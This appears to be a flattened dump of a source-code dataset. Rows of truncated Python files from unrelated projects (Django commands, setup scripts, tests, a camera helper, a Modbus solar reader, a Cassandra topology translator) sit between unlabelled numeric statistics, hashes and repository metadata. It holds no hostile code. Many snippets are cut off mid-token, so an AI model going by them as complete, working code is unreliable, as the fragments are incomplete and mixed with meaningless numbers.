from django.core.management.base import BaseCommand, CommandError from forocacao.app.models import Attendee, AttendeeType, Event from forocacao.app.png import createPNG class Command(BaseCommand): help = 'Generates JPEG badges for all attendees' def add_arguments(self, parser): parser.add_argument('ev...
38.517241
104
0.658013
133
1,117
5.406015
0.43609
0.06815
0.045897
0.036161
0
0
0
0
0
0
0
0
0.240824
1,117
28
105
39.892857
0.847877
0
0
0
0
0
0.152193
0
0
0
0
0
0
0
null
null
0
0.136364
null
null
0.045455
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
fb0611b13682c7a0e565edda168cd01ed881bdba
7,545
py
Python
pyMicroCode.py
mastercodermerwin/pyMicroCode
c6592bfb49d7f8050b699c3a5f67ab74ac96d5ca
[ "MIT" ]
2
2022-02-09T05:02:09.000Z
2022-02-12T05:10:03.000Z
pyMicroCode.py
mastercodermerwin/pyMicroCode
c6592bfb49d7f8050b699c3a5f67ab74ac96d5ca
[ "MIT" ]
null
null
null
pyMicroCode.py
mastercodermerwin/pyMicroCode
c6592bfb49d7f8050b699c3a5f67ab74ac96d5ca
[ "MIT" ]
null
null
null
""" Micro Code 7.0.0 Author Merwin Mathew """ from cryptography.fernet import Fernet from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC import numpy as np import base64 import zlib import cv2 cla...
34.930556
162
0.495958
841
7,545
4.19025
0.16409
0.029512
0.033201
0.012486
0.482974
0.467083
0.459137
0.459137
0.42395
0.42395
0
0.023335
0.414977
7,545
215
163
35.093023
0.775034
0.009543
0
0.580488
0
0
0.015809
0.003751
0
0
0
0
0
1
0.063415
false
0.102439
0.039024
0
0.185366
0.004878
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
fb0e1f4f8b1defb34dd7ee2240337762115ed255
356
py
Python
setup.py
zenware/blockfinder
002f3118766287015f95e6c71f5f8e48d8dc8f5c
[ "BSD-2-Clause" ]
1
2022-01-08T19:16:58.000Z
2022-01-08T19:16:58.000Z
setup.py
zenware/blockfinder
002f3118766287015f95e6c71f5f8e48d8dc8f5c
[ "BSD-2-Clause" ]
1
2021-06-25T15:18:07.000Z
2021-06-25T15:18:07.000Z
setup.py
zenware/blockfinder
002f3118766287015f95e6c71f5f8e48d8dc8f5c
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python from setuptools import setup, find_packages setup( name='blockfinder', version='0.2', packages=find_packages(), include_package_data=True, install_require=[ 'Click', ], entry_points=''' [console_scripts] blockfinder=blockfinder:cli ''', ...
17.8
43
0.632022
38
356
5.684211
0.815789
0.111111
0
0
0
0
0
0
0
0
0
0.007353
0.235955
356
19
44
18.736842
0.786765
0.05618
0
0
0
0
0.307463
0.080597
0
0
0
0
0
1
0
true
0
0.066667
0
0.066667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
fb120d9ab925df51fff4f89f1be5f14e9664999a
4,126
py
Python
faceNet/MyCam.py
EscVM/Virtual_Security_Assistant
e0be2eec2599aaf6d74a0201fe62394d3e0e8dc6
[ "MIT" ]
13
2019-12-23T00:16:54.000Z
2022-01-27T07:03:02.000Z
faceNet/MyCam.py
EscVM/Virtual_Security_Assistant
e0be2eec2599aaf6d74a0201fe62394d3e0e8dc6
[ "MIT" ]
null
null
null
faceNet/MyCam.py
EscVM/Virtual_Security_Assistant
e0be2eec2599aaf6d74a0201fe62394d3e0e8dc6
[ "MIT" ]
4
2020-12-19T05:28:29.000Z
2022-01-30T05:36:26.000Z
#-------------------------- #Date: 19/12/2019 #Place: Turin, PIC4SeR #Author: Fra, Vitto #Project: faceAssistant #--------------------------- import cv2,json import urllib.request import getpass import numpy as np class MyCam(): def __init__(self, cameras_file='cameras.json', index=0): self.cameras_fi...
29.683453
102
0.512118
431
4,126
4.837587
0.296984
0.052758
0.028777
0.035971
0.160671
0.129496
0.108393
0.081535
0.081535
0.081535
0
0.006432
0.359428
4,126
139
103
29.683453
0.782444
0.05332
0
0.270833
0
0
0.110056
0
0
0
0
0
0
1
0.083333
false
0.052083
0.041667
0
0.208333
0.03125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
fb19bcfe47db8baedda698b03ae8db383ed2b17e
4,433
py
Python
samples/keyring/plus.py
mdornseif/google-api-python-client
562ec98ea410793fe983f3ba72155fdacb80b4f6
[ "Apache-2.0" ]
null
null
null
samples/keyring/plus.py
mdornseif/google-api-python-client
562ec98ea410793fe983f3ba72155fdacb80b4f6
[ "Apache-2.0" ]
null
null
null
samples/keyring/plus.py
mdornseif/google-api-python-client
562ec98ea410793fe983f3ba72155fdacb80b4f6
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python2.4 # -*- coding: utf-8 -*- # # Copyright (C) 2010 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
31.664286
79
0.731108
639
4,433
5
0.416275
0.03662
0.011268
0.010016
0.015023
0
0
0
0
0
0
0.008982
0.171216
4,433
139
80
31.892086
0.860642
0.375592
0
0.033898
0
0
0.269426
0.008868
0
0
0
0
0
0
null
null
0.033898
0.20339
null
null
0.118644
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
fb2245d279beecfb9f4bafa960831cb70fa2201b
101,217
py
Python
ktapp/views/web_views.py
cu2/KT
8a0964b77dce150358637faa679d969a07e42f07
[ "CC-BY-3.0" ]
5
2015-04-13T09:44:31.000Z
2017-10-19T01:07:58.000Z
ktapp/views/web_views.py
cu2/KT
8a0964b77dce150358637faa679d969a07e42f07
[ "CC-BY-3.0" ]
49
2015-02-15T07:12:05.000Z
2022-03-11T23:11:43.000Z
ktapp/views/web_views.py
cu2/KT
8a0964b77dce150358637faa679d969a07e42f07
[ "CC-BY-3.0" ]
null
null
null
# -*- coding: utf-8 -*- import copy import datetime import hashlib import math import json import subprocess from collections import defaultdict from django.conf import settings from django.db import connection from django.shortcuts import render, get_object_or_404 from django.http import HttpResponseRedirect, Http40...
42.051101
255
0.633214
12,837
101,217
4.720028
0.054062
0.019607
0.012659
0.022578
0.620571
0.55132
0.493522
0.44774
0.405786
0.369576
0
0.009284
0.243378
101,217
2,406
256
42.068579
0.781897
0.005987
0
0.437894
0
0.008101
0.186471
0.028374
0
0
0
0
0
0
null
null
0.0027
0.009451
null
null
0.0009
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
fb29f628faba1c93f92acef2f462d6ff0bdf86d7
800
py
Python
ppln/removeChr.py
asalomatov/nextgen-pipeline
4ac358050075dc40d32a1c09160e86a41f093f98
[ "MIT" ]
4
2017-08-11T21:02:35.000Z
2020-10-29T19:49:41.000Z
ppln/removeChr.py
asalomatov/nextgen-pipeline
4ac358050075dc40d32a1c09160e86a41f093f98
[ "MIT" ]
null
null
null
ppln/removeChr.py
asalomatov/nextgen-pipeline
4ac358050075dc40d32a1c09160e86a41f093f98
[ "MIT" ]
2
2017-08-18T19:40:10.000Z
2017-08-19T03:43:07.000Z
''' In the input BED file replace Chr1 with 1, Chr2 with 2..., ChrM with MT, ChrX with X, ChrY with Y, remove all other lines, write results to output file ''' import sys sys.path.insert(0, '/nethome/asalomatov/projects/ppln') import logProc if len(sys.argv) != 4: print 'Usage:' print sys.argv[0], 'input.bed',...
27.586207
63
0.56375
129
800
3.496124
0.51938
0.039911
0.035477
0.10643
0.119734
0
0
0
0
0
0
0.031614
0.24875
800
28
64
28.571429
0.718802
0
0
0
0
0
0.14375
0.051563
0
0
0
0
0
0
null
null
0
0.111111
null
null
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
fb38cbf31ef036f00a6a7a50d6058e7350fa215f
216
py
Python
difinfo.py
Leather128/Pygame-Pong
33f6d76049c24edb56532314e1b29f4536269733
[ "Apache-2.0" ]
null
null
null
difinfo.py
Leather128/Pygame-Pong
33f6d76049c24edb56532314e1b29f4536269733
[ "Apache-2.0" ]
null
null
null
difinfo.py
Leather128/Pygame-Pong
33f6d76049c24edb56532314e1b29f4536269733
[ "Apache-2.0" ]
null
null
null
import colors DifficultyInfo = [ ["Easy", colors.GREEN, [ 11, 6 ]], ["Fair", colors.YELLOW, [ 10, 8 ]], ["Impossible", colors.RED, [ 9, 12 ]] ]
13.5
32
0.393519
18
216
4.722222
0.833333
0
0
0
0
0
0
0
0
0
0
0.075
0.444444
216
16
33
13.5
0.633333
0
0
0.133333
0
0
0.082949
0
0
0
0
0
0
1
0
false
0
0.066667
0
0.066667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
348bb239e5ab7e77b8229d1cf2827f119ba762ac
2,292
py
Python
codango/userprofile/tests/test_routes.py
andela-ooshodi/codango-debug
fa68f4305586c2d7f28307f10204c3b50f731fef
[ "MIT" ]
null
null
null
codango/userprofile/tests/test_routes.py
andela-ooshodi/codango-debug
fa68f4305586c2d7f28307f10204c3b50f731fef
[ "MIT" ]
null
null
null
codango/userprofile/tests/test_routes.py
andela-ooshodi/codango-debug
fa68f4305586c2d7f28307f10204c3b50f731fef
[ "MIT" ]
null
null
null
from django.test import TestCase, Client from django.contrib.auth.models import User class ProfileViewTestCase(TestCase): def setUp(self): self.client = Client() self.user = User.objects.create_user( username='lade', password='password' ) self.user.set_pass...
33.217391
77
0.633072
260
2,292
5.423077
0.253846
0.078014
0.060284
0.074468
0.702128
0.634752
0.541135
0.492199
0.408511
0.408511
0
0.013241
0.242147
2,292
68
78
33.705882
0.798503
0
0
0.444444
0
0
0.124346
0.019197
0
0
0
0
0.092593
1
0.148148
false
0.166667
0.037037
0
0.240741
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
349216eb1067165301d45f8f0b4075db42f0ed2f
1,222
py
Python
setup.py
tub-elastest/epm-client-python
4e708a7e8c80334337d2f05c0baec46fdd581b8f
[ "Apache-2.0" ]
1
2019-05-23T12:51:18.000Z
2019-05-23T12:51:18.000Z
setup.py
tub-elastest/epm-client-python
4e708a7e8c80334337d2f05c0baec46fdd581b8f
[ "Apache-2.0" ]
null
null
null
setup.py
tub-elastest/epm-client-python
4e708a7e8c80334337d2f05c0baec46fdd581b8f
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ EPM REST API REST API description of the ElasTest Platform Manager Module. OpenAPI spec version: 0.1.2 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import os import sys from setuptools import setup, find_packages # Utility function to read the README...
26.565217
79
0.695581
180
1,222
4.65
0.6
0.02509
0.023895
0
0
0
0
0
0
0
0
0.015748
0.168576
1,222
45
80
27.155556
0.808071
0.434534
0
0
1
0
0.312404
0.039816
0
0
0
0
0
1
0.055556
false
0
0.166667
0.055556
0.277778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
34941eb2153b77798e761fea11afb535a9721fdd
1,643
py
Python
tests/conftest.py
Jasha10/maison
a0c9eaed6366652c3bd24f0a339a4a87436816a0
[ "MIT" ]
2
2022-01-30T20:38:36.000Z
2022-02-04T11:32:43.000Z
tests/conftest.py
Jasha10/maison
a0c9eaed6366652c3bd24f0a339a4a87436816a0
[ "MIT" ]
58
2021-11-01T04:49:01.000Z
2022-03-31T04:24:36.000Z
tests/conftest.py
Jasha10/maison
a0c9eaed6366652c3bd24f0a339a4a87436816a0
[ "MIT" ]
2
2021-12-13T15:00:01.000Z
2022-01-29T21:54:47.000Z
"""Store the classes and fixtures used throughout the tests.""" from pathlib import Path from typing import Any from typing import Callable from typing import Dict from typing import Optional import pytest import toml @pytest.fixture(name="create_tmp_file") def create_tmp_file_fixture(tmp_path: Path) -> Callable[......
29.872727
85
0.671942
205
1,643
5.15122
0.22439
0.059659
0.073864
0.065341
0.207386
0.169508
0.114583
0.081439
0
0
0
0
0.209373
1,643
54
86
30.425926
0.812933
0.105904
0
0.108108
0
0
0.042127
0
0
0
0
0
0
1
0.162162
false
0
0.189189
0
0.513514
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
3495d683fb99adc4366115c0f1ec33c3574a2558
12,123
py
Python
pyproct/postprocess/actions/kullbackLiebler.py
victor-gil-sepulveda/pyProCT
2777c73efb48d5ca6543c69a31719421c4d54694
[ "MIT" ]
10
2015-03-07T09:00:06.000Z
2019-01-25T15:00:59.000Z
pyproct/postprocess/actions/kullbackLiebler.py
victor-gil-sepulveda/pyProCT
2777c73efb48d5ca6543c69a31719421c4d54694
[ "MIT" ]
6
2015-01-08T11:17:14.000Z
2018-10-08T15:17:32.000Z
pyproct/postprocess/actions/kullbackLiebler.py
victor-gil-sepulveda/pyProCT
2777c73efb48d5ca6543c69a31719421c4d54694
[ "MIT" ]
11
2015-03-02T11:13:24.000Z
2022-02-22T16:21:56.000Z
""" Created on 16/07/2014 @author: victor """ import numpy import json import math import matplotlib.pyplot as plt class KullbackLieblerPostAction(object): KEYWORD = "kullback_liebler" def __init__(self): pass def run(self, clustering, postprocessing_parameters, data_handler, workspaceHandler, m...
50.095041
147
0.599027
1,415
12,123
4.95053
0.201413
0.026981
0.015703
0.007852
0.336902
0.251392
0.2207
0.153605
0.088223
0.049108
0
0.017182
0.303885
12,123
242
148
50.095041
0.812893
0.282521
0
0.114286
0
0
0.027617
0
0
0
0
0
0
0
null
null
0.019048
0.038095
null
null
0.009524
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
34aa47f102af7f75f97c82cf76fe11fa3acc5ce0
579
py
Python
v1.0.0.test/toontown/toon/DistributedNPCKong.py
TTOFFLINE-LEAK/ttoffline
bb0e91704a755d34983e94288d50288e46b68380
[ "MIT" ]
4
2019-07-01T15:46:43.000Z
2021-07-23T16:26:48.000Z
v1.0.0.test/toontown/toon/DistributedNPCKong.py
TTOFFLINE-LEAK/ttoffline
bb0e91704a755d34983e94288d50288e46b68380
[ "MIT" ]
1
2019-06-29T03:40:05.000Z
2021-06-13T01:15:16.000Z
v1.0.0.test/toontown/toon/DistributedNPCKong.py
TTOFFLINE-LEAK/ttoffline
bb0e91704a755d34983e94288d50288e46b68380
[ "MIT" ]
4
2019-07-28T21:18:46.000Z
2021-02-25T06:37:25.000Z
from DistributedNPCToonBase import * from toontown.toonbase import TTLocalizer class DistributedNPCKong(DistributedNPCToonBase): notify = DirectNotifyGlobal.directNotify.newCategory('DistributedNPCKong') def handleCollisionSphereEnter(self, collEntry): self.sendUpdate('avatarEnter', []) def handl...
34.058824
78
0.709845
49
579
8.387755
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.208981
579
17
79
34.058824
0.89738
0
0
0
0
0
0.098276
0
0
0
0
0
0
1
0.153846
false
0
0.153846
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
34ba26d100096148395d1b1e587c1d560eff4b2d
1,036
py
Python
Python Programs/count-overlapping-string-pattern.py
muhammad-masood-ur-rehman/Skillrack
71a25417c89d0efab40ee6229ccd758b26ae4312
[ "CC0-1.0" ]
2
2021-06-26T21:50:59.000Z
2021-09-18T04:55:51.000Z
Python Programs/count-overlapping-string-pattern.py
muhammad-masood-ur-rehman/Skillrack
71a25417c89d0efab40ee6229ccd758b26ae4312
[ "CC0-1.0" ]
null
null
null
Python Programs/count-overlapping-string-pattern.py
muhammad-masood-ur-rehman/Skillrack
71a25417c89d0efab40ee6229ccd758b26ae4312
[ "CC0-1.0" ]
null
null
null
Count Overlapping String Pattern Two string values S and P representing a string and pattern are passed as the input to the program. The program must print the number of overlapping occurrences of pattern P in the string S as the output. Note: The string S and pattern P contains only lowercase alphabets. Boundary Cond...
24.666667
204
0.706564
164
1,036
4.469512
0.414634
0.049113
0.030014
0.060027
0.166439
0.095498
0
0
0
0
0
0.026087
0.222973
1,036
41
205
25.268293
0.88323
0
0
0.105263
0
0
0
0
0
0
0
0
0
0
null
null
0.026316
0
null
null
0.078947
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
34bb5734813c907bba2a2ddd9ef9d0aacd01b15e
4,991
py
Python
SearcherWebApp/Ketcher/ketcher-server.py
jvaneikeren/ChemicalStructureSearchingDemo
d781deb9e11e4f39315476bbe0fffd3b0898a457
[ "MIT" ]
7
2015-07-24T17:17:11.000Z
2020-10-05T08:38:46.000Z
SearcherWebApp/Ketcher/ketcher-server.py
jvaneikeren/ChemicalStructureSearchingDemo
d781deb9e11e4f39315476bbe0fffd3b0898a457
[ "MIT" ]
null
null
null
SearcherWebApp/Ketcher/ketcher-server.py
jvaneikeren/ChemicalStructureSearchingDemo
d781deb9e11e4f39315476bbe0fffd3b0898a457
[ "MIT" ]
5
2015-04-14T19:19:44.000Z
2021-07-29T05:37:18.000Z
import os import cgi import sys import base64 import BaseHTTPServer import SimpleHTTPServer from SimpleHTTPServer import * from BaseHTTPServer import * import indigo port = 8080 indigo = indigo.Indigo() class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if self.path.endswith("knocknoc...
32.409091
93
0.62232
589
4,991
5.202037
0.208829
0.049608
0.082245
0.082245
0.596606
0.525783
0.500326
0.45594
0.419386
0.419386
0
0.011682
0.228211
4,991
153
94
32.620915
0.783749
0.004809
0
0.565217
0
0
0.129279
0.014096
0
0
0
0
0
0
null
null
0
0.065217
null
null
0.007246
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
34c1304a1930c7586048c8a0a96979fd14058bfd
3,528
py
Python
tp/base/tp_base.py
chinapnr/agbot
9739ce1c2198e50111629db2d1de785edd06876e
[ "MIT" ]
2
2018-06-23T06:48:46.000Z
2018-06-23T10:11:50.000Z
tp/base/tp_base.py
chinapnr/agbot
9739ce1c2198e50111629db2d1de785edd06876e
[ "MIT" ]
5
2020-01-03T09:33:02.000Z
2021-06-02T00:49:52.000Z
tp/base/tp_base.py
chinapnr/agbot
9739ce1c2198e50111629db2d1de785edd06876e
[ "MIT" ]
1
2021-07-07T07:17:27.000Z
2021-07-07T07:17:27.000Z
import re from typing import Type from agbot.constant.ag_enum import TestStatus, Conf from agbot.core.model.context import VerticalContext from agbot.core.tp.tp_context import TpContext from agbot.core.tp.tp_interface import TpInterface from agbot.core.tp.tp_model import TpConf from agbot.core.utils import is_not_blan...
36
107
0.638039
448
3,528
4.761161
0.283482
0.091421
0.089076
0.078762
0.300985
0.260197
0.175809
0.175809
0.138303
0.113455
0
0.011673
0.271542
3,528
98
108
36
0.818288
0.043934
0
0.114286
0
0
0.045576
0
0
0
0
0
0.057143
1
0.128571
false
0.1
0.128571
0.014286
0.371429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
34c3f2046fb06980c24abbf981cd267b8bb28312
5,993
py
Python
coherence/upnp/core/action.py
stonewell/Coherence
af7d2dc1224e705d172cee8a15d87f3abcccab2a
[ "MIT" ]
112
2015-01-13T14:50:41.000Z
2022-01-20T08:48:04.000Z
coherence/upnp/core/action.py
stonewell/Coherence
af7d2dc1224e705d172cee8a15d87f3abcccab2a
[ "MIT" ]
14
2015-01-26T21:54:14.000Z
2020-01-19T19:28:52.000Z
coherence/upnp/core/action.py
stonewell/Coherence
af7d2dc1224e705d172cee8a15d87f3abcccab2a
[ "MIT" ]
40
2015-01-01T07:59:25.000Z
2020-05-07T14:54:48.000Z
# Licensed under the MIT license # http://opensource.org/licenses/mit-license.php # Copyright (C) 2006 Fluendo, S.A. (www.fluendo.com). # Copyright 2006,2007,2008,2009 Frank Scholz <coherence@beebits.net> from twisted.python import failure from twisted.python.util import OrderedDict from coherence import log class...
33.668539
84
0.608877
716
5,993
4.900838
0.199721
0.043317
0.031918
0.016244
0.239384
0.189228
0.169849
0.169849
0.130522
0.111143
0
0.004935
0.290005
5,993
177
85
33.858757
0.819741
0.070582
0
0.227273
0
0
0.117065
0.003956
0
0
0
0.00565
0
1
0.174242
false
0.037879
0.022727
0.106061
0.386364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
34cc0417083285af4e5341203f23d2e2bfa98080
2,319
py
Python
SolarTracer.py
fatyogi/epever-upower-tracer
f914a43143ecb373d4a5e5e67d73c1701656d434
[ "Apache-2.0" ]
2
2021-01-21T11:35:11.000Z
2022-02-22T14:07:21.000Z
SolarTracer.py
fatyogi/epever-upower-tracer
f914a43143ecb373d4a5e5e67d73c1701656d434
[ "Apache-2.0" ]
1
2021-05-03T16:38:35.000Z
2021-05-15T12:03:38.000Z
SolarTracer.py
fatyogi/epever-upower-tracer
f914a43143ecb373d4a5e5e67d73c1701656d434
[ "Apache-2.0" ]
1
2022-03-20T07:45:47.000Z
2022-03-20T07:45:47.000Z
import minimalmodbus # on/off ON = 1 OFF = 0 # PV array PVvolt = 0x3100 PVamps = 0x3101 PVwattL = 0x3102 PVwattH = 0x3103 PVstat = 0x3201 # battery BAvolt = 0x3104 BAamps = 0x3105 BAwattL = 0x3106 BAwattH = 0x3107 BAtemp = 0x3110 BAperc = 0x311A BAstat = 0x3200 # DC load DCvolt = 0x310C DCamps = 0x310D DCwattL = 0x...
22.085714
86
0.714963
253
2,319
6.517787
0.55336
0.09339
0.060643
0.043663
0.09339
0.09339
0.053366
0
0
0
0
0.104861
0.210436
2,319
104
87
22.298077
0.79574
0.055196
0
0.171053
0
0
0.017395
0
0
0
0.098731
0
0
0
null
null
0
0.013158
null
null
0.013158
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
34d00f4ea85f91785491b2f1f9418532b0114d35
1,306
py
Python
jeffs_repo/tdd/primecheckertests.py
XinyanXiang/cs257
625d61d5bcf3246bf95061d0a412ed171b0cf4ae
[ "MIT" ]
null
null
null
jeffs_repo/tdd/primecheckertests.py
XinyanXiang/cs257
625d61d5bcf3246bf95061d0a412ed171b0cf4ae
[ "MIT" ]
null
null
null
jeffs_repo/tdd/primecheckertests.py
XinyanXiang/cs257
625d61d5bcf3246bf95061d0a412ed171b0cf4ae
[ "MIT" ]
null
null
null
''' primecheckertests.py Jeff Ondich, 9 May 2012 Updated for use in a lab exercise, 4 Nov 2013 ''' import primechecker import unittest class PrimeCheckerTester(unittest.TestCase): def setUp(self): self.prime_checker = primechecker.PrimeChecker(100) print("setup") def tearDown(self): ...
25.115385
95
0.641654
165
1,306
4.872727
0.418182
0.100746
0.179104
0.156716
0.383085
0.383085
0.380597
0.380597
0
0
0
0.037298
0.240429
1,306
51
96
25.607843
0.773185
0.11562
0
0
0
0
0.048373
0
0
0
0
0
0.21875
1
0.28125
false
0.03125
0.0625
0
0.375
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
34d150681f8d7de200cd14d524cfa49c3e94c7ea
2,525
py
Python
models_tf.py
Breast-Cancer-PINN-ML-Team/NYU-BIRADS_Classifier
4244938e2d4f94b77c3d7c90eeac5479ee877fb0
[ "BSD-2-Clause" ]
123
2018-06-29T01:17:04.000Z
2022-01-17T16:39:00.000Z
models_tf.py
Breast-Cancer-PINN-ML-Team/NYU-BIRADS_Classifier
4244938e2d4f94b77c3d7c90eeac5479ee877fb0
[ "BSD-2-Clause" ]
13
2018-08-23T09:06:30.000Z
2019-06-02T19:45:13.000Z
models_tf.py
Breast-Cancer-PINN-ML-Team/NYU-BIRADS_Classifier
4244938e2d4f94b77c3d7c90eeac5479ee877fb0
[ "BSD-2-Clause" ]
52
2018-06-29T15:49:12.000Z
2022-03-18T07:56:31.000Z
import layers_tf as layers def baseline(x, parameters, nodropout_probability=None, gaussian_noise_std=None): if gaussian_noise_std is not None: x = layers.all_views_gaussian_noise_layer(x, gaussian_noise_std) # first conv sequence h = layers.all_views_conv_layer(x, 'conv1', number_of_filters=32,...
49.509804
106
0.71604
414
2,525
4.045894
0.18599
0.087761
0.167164
0.170149
0.671642
0.637015
0.615522
0.536119
0.536119
0.518806
0
0.052436
0.146535
2,525
50
107
50.5
0.724826
0.056634
0
0.1
0
0
0.032421
0
0
0
0
0
0
1
0.066667
false
0
0.033333
0
0.166667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
34d6fbc55adb5996b3d71ec173bf8d4d26e7d77d
348
py
Python
setup.py
gisce/ooquery
f2995dc3b6152006a74d8d231c6e4a74b1751f7b
[ "MIT" ]
5
2015-10-07T10:05:47.000Z
2019-02-26T13:55:01.000Z
setup.py
gisce/ooquery
f2995dc3b6152006a74d8d231c6e4a74b1751f7b
[ "MIT" ]
32
2016-09-06T10:38:59.000Z
2021-07-05T12:17:51.000Z
setup.py
gisce/ooquery
f2995dc3b6152006a74d8d231c6e4a74b1751f7b
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages setup( name='ooquery', version='0.20.1', packages=find_packages(), url='https://github.com/gisce/ooquery', license='MIT', author='GISCE-TI, S.L.', install_requires=[ 'python-sql' ], author_email='devel@gisce.net', description='...
21.75
43
0.637931
42
348
5.190476
0.809524
0.110092
0
0
0
0
0
0
0
0
0
0.014388
0.201149
348
15
44
23.2
0.769784
0
0
0
0
0
0.316092
0
0
0
0
0
0
1
0
true
0
0.071429
0
0.071429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
34d99af68757f978e1de6108724659996fbb57d9
488
py
Python
src/list_screen/DynamicElements/loading_symbol.py
JeremyMoeglich/Python-Cmd-Screen
d1dd9c165a7d32f00dd13312695d7f64972a23a9
[ "MIT" ]
null
null
null
src/list_screen/DynamicElements/loading_symbol.py
JeremyMoeglich/Python-Cmd-Screen
d1dd9c165a7d32f00dd13312695d7f64972a23a9
[ "MIT" ]
null
null
null
src/list_screen/DynamicElements/loading_symbol.py
JeremyMoeglich/Python-Cmd-Screen
d1dd9c165a7d32f00dd13312695d7f64972a23a9
[ "MIT" ]
null
null
null
from dynamic_element import DynamicElement class LoadingSymbol(DynamicElement): def __init__(self, frame:int =0) -> None: self.frame = frame def render(self) -> str: match self.frame % 4: case 0: return '/' case 1: return '-' ...
24.4
45
0.463115
46
488
4.782609
0.521739
0.163636
0
0
0
0
0
0
0
0
0
0.025735
0.442623
488
20
46
24.4
0.783088
0
0
0
0
0
0.010225
0
0
0
0
0
0
1
0.176471
false
0
0.058824
0
0.588235
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
34e9e83516b848fcfa6ed93707f17eecb0ca95fc
6,769
py
Python
misc/cassandra/scripts/translate.py
Ganasagar/migration-tools-repo
73d78f1734ccd04f1475d70b48fa02c6d892524b
[ "Apache-2.0" ]
null
null
null
misc/cassandra/scripts/translate.py
Ganasagar/migration-tools-repo
73d78f1734ccd04f1475d70b48fa02c6d892524b
[ "Apache-2.0" ]
null
null
null
misc/cassandra/scripts/translate.py
Ganasagar/migration-tools-repo
73d78f1734ccd04f1475d70b48fa02c6d892524b
[ "Apache-2.0" ]
null
null
null
import base64 import math import os import json import logging as log RACK_TOPOLOGY_TEMPLATE = """ - rack: {} rackLabelValue: {}""" NODE_TOPOLOGY_TEMPLATE = """ - datacenter: {} datacenterLabels: failure-domain.beta.kubernetes.io/region: {} nodes: {} rackLabelKey: failure-domain.beta...
36.589189
147
0.659625
834
6,769
5.141487
0.27458
0.039179
0.037313
0.021455
0.174207
0.117771
0.072761
0.043843
0
0
0
0.004944
0.223076
6,769
184
148
36.788043
0.81042
0.038263
0
0.152778
0
0.020833
0.441095
0.088588
0
0
0
0
0
1
0.027778
false
0.083333
0.034722
0
0.083333
0.152778
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
